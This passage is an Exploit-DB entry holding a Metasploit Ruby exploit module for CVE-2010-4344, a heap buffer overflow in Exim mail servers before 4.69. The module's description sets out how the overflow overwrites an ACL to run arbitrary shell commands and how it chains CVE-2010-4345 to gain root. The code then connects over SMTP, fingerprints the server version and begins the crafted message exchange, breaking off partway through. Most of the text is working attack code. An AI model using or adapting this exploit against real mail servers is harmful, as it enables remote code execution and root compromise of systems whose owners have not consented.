Exploit-DB #16925
Description: Exim4 < 4.69 - string_format Function Heap Buffer Overflow (Metasploit)
Type: remote
Platform: linux
Date: 2010-12-16
Author: Metasploit

Exploit:
##
# $Id: exim4_string_format.rb 11352 2010-12-16 17:30:24Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::Smtp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Exim4 <= 4.69 string_format Function Heap Buffer Overflow',
			'Description'    => %q{
					This module exploits a heap buffer overflow within versions of Exim prior to
				version 4.69. By sending a specially crafted message, an attacker can corrupt the
				heap and execute arbitrary code with the privileges of the Exim daemon.

				The root cause is that no check is made to ensure that the buffer is not full
				prior to handling '%s' format specifiers within the 'string_vformat' function.
				In order to trigger this issue, we get our message rejected by sending a message
				that is too large. This will call into log_write to log rejection headers (which
				is a default configuration setting). After filling the buffer, a long header
				string is sent. In a successful attempt, it overwrites the ACL for the 'MAIL
				FROM' command. By sending a second message, the string we sent will be evaluated
				with 'expand_string' and arbitrary shell commands can be executed.

				It is likely that this issue could also be exploited using other techniques such
				as targeting in-band heap management structures, or perhaps even function pointers
				stored in the heap. However, these techniques would likely be far more platform
				specific, more complicated, and less reliable.

				This bug was original found and reported in December 2008, but was not
				properly handled as a security issue. Therefore, there was a 2 year lag time
				between when the issue was fixed and when it was discovered being exploited
				in the wild. At that point, the issue was assigned a CVE and began being
				addressed by downstream vendors.

				An additional vulnerability, CVE-2010-4345, was also used in the attack that
				led to the discovery of danger of this bug. This bug allows a local user to
				gain root privileges from the Exim user account. If the Perl interpreter is
				found on the remote system, this module will automatically exploit the
				secondary bug as well to get root.
			},
			'Author'         => [ 'jduck', 'hdm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 11352 $',
			'References'     =>
				[
					[ 'CVE', '2010-4344' ],
					[ 'OSVDB', '69685' ],
					[ 'BID', '45308' ],
					[ 'CVE', '2010-4345' ],
					#[ 'OSVDB', '' ],
					[ 'BID', '45341' ],
					[ 'URL', 'http://seclists.org/oss-sec/2010/q4/311' ],
					[ 'URL', 'http://www.gossamer-threads.com/lists/exim/dev/89477' ],
					[ 'URL', 'http://bugs.exim.org/show_bug.cgi?id=787' ],
					[ 'URL', 'http://git.exim.org/exim.git/commitdiff/24c929a27415c7cfc7126c47e4cad39acf3efa6b' ]
				],
			'Privileged'     => true,
			'Payload'        =>
				{
					'DisableNops' => true,
					'Space'       => 8192, # much more in reality, but w/e
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'generic perl ruby bash telnet',
						}
				},
			'Platform'       => 'unix',
			'Arch'           => ARCH_CMD,
			'Targets'        =>
				[
					[ 'Automatic', { } ],
				],
			# Originally discovered/reported Dec 2 2008
			'DisclosureDate' => 'Dec 7 2010', # as an actual security bug
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('MAILFROM', [ true, 'FROM address of the e-mail', 'root@localhost']),
				OptString.new('MAILTO', [ true, 'TO address of the e-mail', 'postmaster@localhost']),
				OptString.new('EHLO_NAME', [ false, 'The name to send in the EHLO' ])
			], self.class)

		register_advanced_options(
			[
				OptString.new("SourceAddress", [false, "The IP or hostname of this system as the target will resolve it"]),
				OptBool.new("SkipEscalation", [true, "Specify this to skip the root escalation attempt", false]),
				OptBool.new("SkipVersionCheck", [true, "Specify this to skip the version check", false])
			], self.class)
	end

	def exploit
		#
		# Connect and grab the banner
		#
		ehlo = datastore['EHLO_NAME']
		ehlo ||= Rex::Text.rand_text_alphanumeric(8) + ".com"

		print_status("Connecting to #{rhost}:#{rport} ...")
		connect

		print_status("Server: #{self.banner.strip}")
		if self.banner !~ /Exim /
			raise RuntimeError, "The target server is not running Exim!"
		end

		if not datastore['SkipVersionCheck'] and self.banner !~ /Exim 4\.6\d+/i
			raise RuntimeError, "Warning: This version of Exim is not exploitable"
		end

		ehlo_resp = raw_send_recv("EHLO #{ehlo}\r\n")
		ehlo_resp.each_line do |line|
			print_status("EHLO: #{line.strip}")
		end

		#
		# Determine the maximum message size
		#
		max_msg = 52428800
		if ehlo_resp.to_s =~ /250-SIZE (\d+)/
			max_msg = $1.to_i
		end

		#
		# Determine what hostname the server sees
		#
		saddr = nil
		revdns = nil
		if ehlo_resp =~ /^250.*Hello ([^\s]+) \[([^\]]+)\]/
			revdns = $1
			saddr = $2
		end
		source = saddr || datastore["SourceAddress"] || Rex::Socket.source_address('1.2.3.4')
		print_status("Determined our hostname is #{revdns} and IP address is #{source}")


		#
		# Initiate the message
		#
		from = datastore['MAILFROM']
		to   = datastore['MAILTO']

		resp = raw_send_recv("MAIL FROM: #{from}\r\n")
		resp ||= 'no response'
		msg = "MAIL: #{resp.strip}"
		if not resp or resp[0,3] != '250'
			raise RuntimeError, msg
		else
			print_status(msg)
		end

		resp = raw_send_recv("RCPT TO: #{to}\r\n")
		resp ||= 'no response'
		ms